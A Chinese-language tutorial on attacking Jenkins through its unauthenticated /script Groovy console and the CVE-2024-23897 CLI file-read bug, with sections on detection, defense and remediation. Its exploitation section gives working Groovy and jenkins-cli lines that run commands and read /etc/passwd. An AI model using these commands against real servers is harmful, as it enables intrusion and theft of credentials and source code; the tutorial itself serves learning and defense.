Jenkins 未授权访问与代码执行利用

Jenkins 未授权 /script 脚本控制台、Groovy 执行、CLI 文件读取(CVE-2024-23897)等,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文利用只允许在授权环境进行。Jenkins 往往连着代码仓库与发布权限,入侵真实系统可能触犯法律。

一、漏洞原理

Jenkins 是 CI/CD 平台,权限配置不当极易被利用:

1
2
3
4
1. 未授权访问 /script 脚本控制台 → 执行 Groovy
2. CLI 文件读取(CVE-2024-23897):args4j 解析器可读任意文件
3. 历史 RCE:CVE-2018-1000861(Groovy)、Git 插件等
4. 匿名用户权限过大(overall/read + script 权限)

本质:构建平台默认信任度高,权限与接口暴露就是灾难

二、影响与危害

1
2
3
在构建节点/主节点执行命令
读取密钥、源码、凭据
利用构建任务横向到其他系统

风险等级:高到严重。

三、利用 / 复现

1. 脚本控制台执行 Groovy

1
2
访问 http://目标:8080/script(需相应权限/未授权)
在控制台输入:
1
2
println "id".execute().text
println new File("/etc/passwd").text

点 Run 即可看到命令输出。

2. CLI 文件读取(CVE-2024-23897)

1
2
# 低版本 Jenkins 通过 CLI 读文件
java -jar jenkins-cli.jar -s http://目标:8080/ connect-node @/etc/passwd

3. 爆破与弱口令

1
2
Jenkins 默认无密码(首次可创建用户)
尝试常见弱口令进入后台

四、检测

1
2
3
4
指纹:8080 端口、/jenkins 路径
探测 /script、/login、匿名权限
版本核对已知 CVE
日志中异常 /script 访问与 CLI 请求

五、防御

1
2
3
4
关闭匿名访问,强制认证
严格管理 /script 脚本控制台权限
限制 Jenkins 公网暴露
升级到安全版本

六、修复

1
2
3
4
升级 Jenkins 与插件到安全版本
收紧权限(脚本控制台仅管理员)
清理后门与异常任务
修复后复测:未授权访问与脚本执行被拒

七、小结

Jenkins 这类 CI/CD 是“高权限 + 易暴露”的组合,一旦被未授权/弱口令进入,就是代码和发布链路的失守。重点防护脚本控制台、匿名权限和公网暴露。